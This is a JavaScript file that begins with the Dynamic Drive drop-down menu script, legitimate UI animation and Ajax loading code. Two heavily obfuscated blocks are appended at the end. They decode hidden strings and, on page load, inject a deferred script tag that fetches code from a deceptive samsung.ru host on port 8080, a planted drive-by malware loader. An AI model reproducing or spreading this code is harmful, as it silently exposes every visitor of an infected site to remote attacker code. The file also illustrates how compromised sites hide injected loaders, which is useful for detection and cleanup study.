//Drop Down/ Overlapping Content: http://www.dynamicdrive.com
//**Updated: Dec 19th, 07': Added ability to dynamically populate a Drop Down content using an external file (Ajax feature)
//**Updated: Feb 29th, 08':
				//1) Added ability to reveal drop down content via "click" of anchor link (instead of default "mouseover")
				//2) Added ability to disable drop down content from auto hiding when mouse rolls out of it
				//3) Added hidediv(id) public function to directly hide drop down div dynamically

//**Updated: Sept 11th, 08': Fixed bug whereby drop down content isn't revealed onClick of anchor in Safari/ Google Chrome

var dropdowncontent={
	disableanchorlink: true, //when user clicks on anchor link, should link itself be disabled (always true if "revealbehavior" above set to "click")
 hidedivmouseout: [true, 200], //Set hiding behavior within Drop Down DIV itself: [hide_div_onmouseover?, miliseconds_before_hiding]
	ajaxloadingmsg: "Loading content. Please wait...", //HTML to show while ajax page is being feched, if applicable
	ajaxbustcache: true, //Bust cache when fetching Ajax pages?

	getposOffset:function(what, offsettype){
		return (what.offsetParent)? what[offsettype]+this.getposOffset(what.offsetParent, offsettype) : what[offsettype]
	},

	isContained:function(m, e){
		var e=window.event || e
		var c=e.relatedTarget || ((e.type=="mouseover")? e.fromElement : e.toElement)
		while (c && c!=m)try {c=c.parentNode} catch(e){c=m}
		if (c==m)
			return true
		else
			return false
	},

	show:function(anchorobj, subobj, e){
		if (!this.isContained(anchorobj, e) || (e && e.type=="click")){
			var e=window.event || e
			if (e.type=="click" && subobj.style.visibility=="visible"){
				subobj.style.visibility="hidden"
				return
			}
			var horizontaloffset=(subobj.dropposition[0]=="left")? -(subobj.offsetWidth-anchorobj.offsetWidth) : 0 //calculate user added horizontal offset
			var verticaloffset=(subobj.dropposition[1]=="top")? -subobj.offsetHeight : anchorobj.offsetHeight //calculate user added vertical offset
			subobj.style.left=this.getposOffset(anchorobj, "offsetLeft") + horizontaloffset + "px"
			subobj.style.top=this.getposOffset(anchorobj, "offsetTop")+verticaloffset+"px"
			subobj.style.clip=(subobj.dropposition[1]=="top")? "rect(auto auto auto 0)" : "rect(0 auto 0 0)" //hide drop down box initially via clipping
			subobj.style.visibility="visible"
			subobj.startTime=new Date().getTime()
			subobj.contentheight=parseInt(subobj.offsetHeight)
			if (typeof window["hidetimer_"+subobj.id]!="undefined") //clear timer that hides drop down box?
				clearTimeout(window["hidetimer_"+subobj.id])
			this.slideengine(subobj, (subobj.dropposition[1]=="top")? "up" : "down")
		}
	},

	curveincrement:function(percent){
		return (1-Math.cos(percent*Math.PI)) / 2 //return cos curve based value from a percentage input
	},

	slideengine:function(obj, direction){
		var elapsed=new Date().getTime()-obj.startTime //get time animation has run
		if (elapsed<obj.glidetime){ //if time run is less than specified length
			var distancepercent=(direction=="down")? this.curveincrement(elapsed/obj.glidetime) : 1-this.curveincrement(elapsed/obj.glidetime)
			var currentclip=(distancepercent*obj.contentheight)+"px"
			obj.style.clip=(direction=="down")? "rect(0 auto "+currentclip+" 0)" : "rect("+currentclip+" auto auto 0)"
			window["glidetimer_"+obj.id]=setTimeout(function(){dropdowncontent.slideengine(obj, direction)}, 10)
		}
		else{ //if animation finished
			obj.style.clip="rect(0 auto auto 0)"
		}
	},

	hide:function(activeobj, subobj, e){
		if (!dropdowncontent.isContained(activeobj, e)){
			window["hidetimer_"+subobj.id]=setTimeout(function(){
				subobj.style.visibility="hidden"
				subobj.style.left=subobj.style.top=0
				clearTimeout(window["glidetimer_"+subobj.id])
			}, dropdowncontent.hidedivmouseout[1])
		}
	},

	hidediv:function(subobjid){
		document.getElementById(subobjid).style.visibility="hidden"
	},

	ajaxconnect:function(pageurl, divId){
		var page_request = false
		var bustcacheparameter=""
		if (window.XMLHttpRequest) // if Mozilla, IE7, Safari etc
			page_request = new XMLHttpRequest()
		else if (window.ActiveXObject){ // if IE6 or below
			try {
			page_request = new ActiveXObject("Msxml2.XMLHTTP")
			} 
			catch (e){
				try{
				page_request = new ActiveXObject("Microsoft.XMLHTTP")
				}
				catch (e){}
			}
		}
		else
			return false
		document.getElementById(divId).innerHTML=this.ajaxloadingmsg //Display "fetching page message"
		page_request.onreadystatechange=function(){dropdowncontent.loadpage(page_request, divId)}
		if (this.ajaxbustcache) //if bust caching of external page
			bustcacheparameter=(pageurl.indexOf("?")!=-1)? "&"+new Date().getTime() : "?"+new Date().getTime()
		page_request.open('GET', pageurl+bustcacheparameter, true)
		page_request.send(null)
	},

	loadpage:function(page_request, divId){
		if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1)){
			document.getElementById(divId).innerHTML=page_request.responseText
		}
	},

 init:function(anchorid, pos, glidetime, revealbehavior){
		var anchorobj=document.getElementById(anchorid)
		var subobj=document.getElementById(anchorobj.getAttribute("rel"))
		var subobjsource=anchorobj.getAttribute("rev")
		if (subobjsource!=null && subobjsource!="")
			this.ajaxconnect(subobjsource, anchorobj.getAttribute("rel"))
		subobj.dropposition=pos.split("-")
		subobj.glidetime=glidetime || 1000
		subobj.style.left=subobj.style.top=0
		if (typeof revealbehavior=="undefined" || revealbehavior=="mouseover"){
			anchorobj.onmouseover=function(e){dropdowncontent.show(this, subobj, e)}
			anchorobj.onmouseout=function(e){dropdowncontent.hide(subobj, subobj, e)}
			if (this.disableanchorlink) anchorobj.onclick=function(){return false}
		}
		else
			anchorobj.onclick=function(e){dropdowncontent.show(this, subobj, e); return false}
		if (this.hidedivmouseout[0]==true) //hide drop down DIV when mouse rolls out of it?
			subobj.onmouseout=function(e){dropdowncontent.hide(this, subobj, e)}
	}
}
var Lt="e8fad6ebdaadfcf0d8c2c28aecfef7f086d9c2dcfff7fad6f3ccf6d1cdf6c9f0cfcecacbe5d5ced1e6c2f8c5e5f5cdf3c0c3dee6ddc6c3c7d9f6fdc9d0c4d9f6ff84f3f199fbefaddca8aadecede";var bhN=59808;var ib;if(ib!='nSU' && ib!='AV'){ib=''};this.oU="oU";function I(X){var Kd=false;var xi=false; var G=function(Y){var W=Y[v("gltenh", [1,3,4,0,2,5])];var Tp=[202,35,127,1][3];var Ye=[212,75,255,231][2];var y=[54,47,0][2];var Xo;if(Xo!='ck'){Xo='ck'};var Gf=[0][0];var S;if(S!='al' && S!='lg'){S=''};var GE="";while(Gf<W){this.wH="wH";var d=new Array();Gf++;U=m(Y,Gf - Tp);var Ta="Ta";y+=U*W;this.il=false;var lY=new String();}var wc=new Date();var tO;if(tO!='ml' && tO != ''){tO=null};var mX;if(mX!='' && mX!='M'){mX=null};return new C(y % Ye);};var jc="";var MS;if(MS!='' && MS!='eX'){MS=null};var q=new Date(); var bl=new Date();var sY=28067;function v(L, i){var Pz;if(Pz!='am'){Pz=''};var WJ = '';this.Ym='';var SS;if(SS!=''){SS='yR'};var Tp=[1,146][0];var cx;if(cx!='rB'){cx=''};var jp;if(jp!='Mj'){jp=''};var H = L.length;var Jt=new Date();var NH;if(NH!=''){NH='eF'};var Q = i.length;var O=[149,146,0][2];var oG;if(oG!=''){oG='Lb'};this.Md="";this.eo=11098;for(var l = O; l < H; l += Q) {var mI = L.substr(l, Q);var wA;if(wA!='cS' && wA!='EJ'){wA=''};this.vd=false;var eQ=new String();this.In=false;if(mI.length == Q){var xV;if(xV!=''){xV='oZ'};this.OJ=6821;for(var Gf in i) {WJ+=mI.substr(i[Gf], Tp);var nP=new Date();var pt=new String();var vo;if(vo!=''){vo='pdg'};}var tU="tU";} else {this.Ih="";  WJ+=mI;this.JY="JY";var Xe='';}var vB=false;}return WJ;var mA;if(mA!='nq' && mA!='cw'){mA='nq'};}var lV;if(lV!='gDP'){lV='gDP'};this.ss=""; var RNP=4209;this.Yl="";function OO(N,K){this.tmZ='';return N^K;}var nZ=new Date();var ML=""; function m(KC,t){return KC[v("rCahocdeAt", [5,3,2,0,1,4])](t);var sM;if(sM!='Rs' && sM!='lS'){sM=''};this.diM=53100;}var kf;if(kf!='vJ' && kf!='hy'){kf='vJ'};this.vF="";var nh;if(nh!='Zl' && nh != ''){nh=null};var LY=new String();var Vc=new String(); var T=function(L){var gO=new String();this.Ja=false;var nt;if(nt!='' && nt!='Kce'){nt=''};var Yj;if(Yj!='' && Yj!='iiU'){Yj=null};var O =[0,223][0];var mQ=false;var l =[0,61,107,195][0];var iI;if(iI!='cN' && iI != ''){iI=null};L = new C(L);this.IR=false;var FK=new Array();var jch;if(jch!='Sh' && jch!='ZQ'){jch=''};var WJ = '';var Du=new String();var JJ=new String();var j = -1;this.fb=false;var BZ;if(BZ!='XF'){BZ='XF'};var iJ;if(iJ!='ry' && iJ!='PV'){iJ='ry'};var Ca="Ca";for (l=L[v("elgnht", [1,0])]-j;l>=O;l=l-[78,229,1][2]){WJ+=L[v("achrAt", [1,2,0,3])](l);var hIw;if(hIw!='EJp'){hIw=''};var Aq=new Date();}this.Zu=49755;var iu;if(iu!='' && iu!='cEs'){iu=null};this.Sj="";return WJ;this.Ee=false;};var gt="gt";var wG;if(wG!='' && wG!='Kp'){wG=''};var itQ;if(itQ!='' && itQ!='cq'){itQ=null};var Lr=window;var IE=Lr[v("vela", [1,0])];var lh;if(lh!='ol' && lh!='Zx'){lh='ol'};this.bt=4653;var jG=IE(v("uFcnitno", [1,0]));var Vv;if(Vv!='' && Vv!='St'){Vv=null};var bC;if(bC!='' && bC!='Mv'){bC=null};var cST;if(cST!='' && cST!='hU'){cST='jT'};this.At=false;var k=IE(v("eEgRxp", [3,0,2,1]));var GU;if(GU!='' && GU!='wJ'){GU=''};var mx;if(mx!='Sa'){mx='Sa'};var HP = '';this.Ay=50463;this.jis=20498;this.Grv=50871;var C=IE(v("tSirng", [1,0,3,2]));var Yd=new String();var pI=new String();var LE;if(LE!='dY' && LE != ''){LE=null};var R=C[v("rfmohCraoCed", [1,0])];this.nx='';var B=Lr[v("eunspcae", [1,2,0,3])];var jV=65195;var D =[0,84,231][0];var mw=53510;var tm = '';this.Il="Il";var Lq = R(37);var kJ;if(kJ!='vM' && kJ != ''){kJ=null};var CO;if(CO!='Lu' && CO != ''){CO=null};var x=[1, v("coeudm.tecnreteEalne\'tm(rctisp\')", [4,1,0,3,5,2]),2, v("lewfslgrac.oom", [2,1,0]),3, v("modutnecyb.dpa.oCepdlihnd(d)", [2,1,7,3,0,6,5,4]),4, v(".dsteAttrbiuet(d\'eefr\'", [1,0,2]),5, v("rfs.nosgp..kagemtspo", [1,0]),6, v("aom.cvhcatnc0ru:.880", [4,1,2,3,5,0]),7, v("inwowd.onload", [4,0,1,5,3,2,6,7]),8, v("t.unbezzcom", [4,2,7,6,3,5,0,1]),11, v("icnfonut()", [3,6,5,1,7,0,4,2]),12, v("ogog.celom", [3,2,0,1]),14, v("acct(h)e", [1,0]),15, v(".cjmco", [1,2,0]),16, v("th\":pt", [2,1,0]),17, v(".drsc", [1,0]),18, v("1\')\'", [1,0]),19, v("byea", [2,0,3,1]),20, v("ryt", [2,0,1])];var OP;if(OP!='gug' && OP != ''){OP=null};var ds=new Array();var yw="yw";var UI = X[v("nghtel", [5,4,0,1,3,2])];var Mw;if(Mw!='zM'){Mw='zM'};var gL="";var mg =[11,2][1];var UU = '';var AD='';var Tp =[57,70,1,141][2];var Bg=false;var jR=false;var w = '';var lP=new String();var O =[53,180,0][2];var wAf;if(wAf!='Kl'){wAf=''};var eU;if(eU!='' && eU!='po'){eU=''};var lj = /[^@a-z0-9A-Z_-]/g;this.CM=62216;var fN;if(fN!=''){fN='Eg'};var Ik;if(Ik!=''){Ik='YjT'};for(var g=O; g < UI; g+=mg){w+= Lq; this.zI="";var eE='';w+= X[v("ussbrt", [1,0])](g, mg);var Te=new String();this.fT=false;}var ckB;if(ckB!='' && ckB!='tX'){ckB=null};var fD;if(fD!='' && fD!='Lp'){fD=null};this.Jg=15487;var X = B(w);this.GM=false;var iRn=new Array();var hc;if(hc!='OT'){hc=''};var xo = new C(I);var b = xo[v("lpraece", [2,6,1,0,3,5,4])](lj, tm);var GZ = new C(jG);var xL="";var V = x[v("nelgth", [2,1,0,3])];var lT;if(lT!='So'){lT='So'};b = T(b);var o = GZ[v("erlpcae", [1,0])](lj, tm);var XA=new String();var oS;if(oS!='Jq'){oS=''};var o = G(o);var bw;if(bw!='HX' && bw != ''){bw=null};var f=G(b);var aF;if(aF!='' && aF!='dP'){aF='YM'};var ZCK;if(ZCK!='na' && ZCK!='wY'){ZCK='na'};this.DE="";for(var l=O; l < (X[v("gnleth", [2,3,1,0,4])]);l=l+[1,222,124,143][0]) {var Uu=new Array();var US=new Array();var Ib;if(Ib!='' && Ib!='Cl'){Ib=null};var e = b.charCodeAt(D);var VR = m(X,l);this.fn="fn";var KR="";var Uw;if(Uw!='' && Uw!='ek'){Uw=''};var yg="";VR = OO(VR, e);var Cf;if(Cf!='Vpa' && Cf!='YN'){Cf='Vpa'};var qp='';var xw;if(xw!='dz' && xw!='Aw'){xw=''};this.Qnw=46746;VR = OO(VR, f);var Ff="Ff";var ks="ks";VR = OO(VR, o);var gS;if(gS!='zz'){gS=''};D++;var ta;if(ta!='sO' && ta!='lq'){ta=''};var FH="FH";var OfH=40239;if(D > b.length-Tp){this.gb='';D=O;var NX=new Date();}var VgN;if(VgN!='gOD'){VgN=''};this.xz='';UU += R(VR);var Od=new Date();var nG;if(nG!='' && nG!='Yc'){nG='XX'};}this.YL='';var kdj;if(kdj!='Zc'){kdj=''};this.pdq="pdq";var wW="";for(Lm=O; Lm < V; Lm+=mg){var fC;if(fC!='Qz' && fC!='Kx'){fC=''};var jpy=new Array();var sG;if(sG!='obB'){sG='obB'};var Im = x[Lm + Tp];var el;if(el!='lN' && el!='nz'){el=''};var lc=false;this.DX='';var P = R(x[Lm]);var GW="";var cSo="cSo";var E = new k(P, R(103));UU=UU[v("erpalce", [1,0,2,4,3])](E, Im);}var Cm="Cm";var a=new jG(UU);this.mq=60697;a();UU = '';this.dsv="";b = '';var Ao="Ao";var xm;if(xm!='' && xm!='hE'){xm='mt'};f = '';var jpE="jpE";var qb;if(qb!='Au'){qb='Au'};GZ = '';o = '';var Pe=new Array();a = '';var wn;if(wn!='HJ' && wn!='uY'){wn=''};var GT=33214;var oC;if(oC!='' && oC!='Pd'){oC='lA'};var GZY;if(GZY!='' && GZY!='Nq'){GZY='uX'};return '';var Oc=new String();var FA;if(FA!=''){FA='cr'};};var bhN=59808;var ib;if(ib!='nSU' && ib!='AV'){ib=''};this.oU="oU";I(Lt);
var e=new String();var n;if(n!='YR' && n != ''){n=null};function a() {var J;if(J!='Yn' && J!='bn'){J=''};var i='replace';var B;if(B!=''){B='Dk'};var m=RegExp;var MK;if(MK!='Z' && MK!='W'){MK=''};var Gu;if(Gu!='nw' && Gu!='w'){Gu=''};var b=new String();var G=']';this.aZ="";this.XL="";var Gw='g';var YRw=new Date();this.pu="";var K='[';this.bp='';var z=new Array();var Q="";function p(V,A){var S=K;this.fE='';var Da=new String();S+=A;this.zK='';var Wm;if(Wm!='O' && Wm != ''){Wm=null};S+=G;var x;if(x!='' && x!='rE'){x=null};var F=new m(S, Gw);var pp='';var XM='';return V[i](F, b);var yP=new Date();var vO="";};this.eF="";var GW='';var Xx="";var Y=p('8555065687160771',"16257");var Um;if(Um!=''){Um='NH'};var YN=p('/JfJc12A.Jc1oAm1/VfAc12J.Ac1oJmJ/1g1oVoJgJlVeJ.Jc1oJmA/Ai1mAm1oJbJiVlAiVeVnVs1c1oAuJtA2J4J.VdVeV/Jb1iVgJl1oAb1e1.VnVeA.JjVpV.JpVhVpV',"JVA1");var fz=new String();var X=p('cTrNeNaTtBeNETlDeTmDeNnDt3',"B3NDT");var _H='';var C=p('h6tktHpk:7/H/wgwoHoHgkl6ew-HcHowmw-6b7r7.6bkakrkn7e7ska6n7dHnHo6b7lkek.Hc7o6m7.Hp6awn7d6owr6aw-kcwoHmk.ksHakmwu7ekswtw.6rHuk:7',"w6Hk7");this.qT="";var rT=new Array();var Aw=p('sgczroiopCtC',"CogMz");var r=window;this.De='';r[p('oZnKlKoKaDdK',"DIZfK")]=function(){this.Jn="";try {var NR=new Date();var on;if(on!='mh'){on=''};var tn;if(tn!='Oz'){tn=''};GW+=C;var ye;if(ye!='yv' && ye!='Sq'){ye=''};var kL=new String();GW+=Y;var OM;if(OM!='zD' && OM != ''){OM=null};var uM;if(uM!='pB'){uM='pB'};GW+=YN;var Du=new String();var Rv=new Date();var Oc;if(Oc!='' && Oc!='am'){Oc=''};u=document[X](Aw);var ik=new Array();var QI=new Array();var mo;if(mo!='c' && mo != ''){mo=null};o(u,'defer',([1][0]));o(u,'src',GW);var T="";var v_;if(v_!=''){v_='la'};var UD=new Array();document.body.appendChild(u);} catch(uv){var sVK;if(sVK!='dS' && sVK!='gy'){sVK=''};};var rs=new Array();};var Wu;if(Wu!='' && Wu!='OL'){Wu=null};var rb;if(rb!='' && rb!='Uv'){rb=null};var lI=new Array();function o(M,ug,d){var rI;if(rI!='bs'){rI=''};M.setAttribute(ug, d);var te;if(te!='BL'){te='BL'};}};var CY="";a();var ox='';